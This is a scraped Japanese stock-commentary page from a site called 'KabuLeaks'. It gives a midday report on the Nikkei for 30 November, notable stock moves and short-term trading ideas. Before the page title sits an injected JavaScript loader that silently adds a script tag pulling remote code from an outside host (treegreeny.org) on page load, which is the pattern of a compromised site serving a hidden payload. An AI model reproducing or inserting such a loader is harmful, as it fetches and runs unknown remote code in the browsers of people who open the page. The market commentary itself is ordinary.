;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【11/30 前引け】 |【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【11/30 前引け】

前場の日経平均株価は76円安と2営業日続落。先週末の中国株、欧米株安を嫌気され大幅続落スタート。一時は3桁安もその後は押し目買いが入るも戻りは限定となっている。また、寄り付き前に発表された10月鉱工業生産が市場予想を下回ったこともありこれも売り要因に。業種別では、機械、電気機器、金属製品、輸送用機器の4業種のみの値上がり。一方、保険業、海運業、鉱業、卸売業が値下がり率上位となっている。

個別では、有機EL関連物色に乗り【5216】倉元製作所がストップ高となったほか、基板の配線高密度に寄与する銅表面処理用薬剤を開発と報じられ【4971】メック買われ、東京証券取引所本則市場への変更申請と1億円の自社株買いを発表を好感の【9419】ワイヤレスゲートが大幅上昇となっている。また、【3628】データホライゾン、【6166】中村超硬、【4960】ケミプロ化成などが値を飛ばし値上がり率上位にランクインしている。

年末へ向けての強気目線は継続でいいと思うが目先はECB理事会や米雇用統計発表を控えておりやや様子見が無難か。押し目は狙いへ急落急落局面の限定とし、直近人気のテーマ株。ドローン関連、自動運転関連、有機EL関連、ロボット関連の銘柄。また、値動きの軽い中小型株や材料株など短期売買スタンスで臨みたい。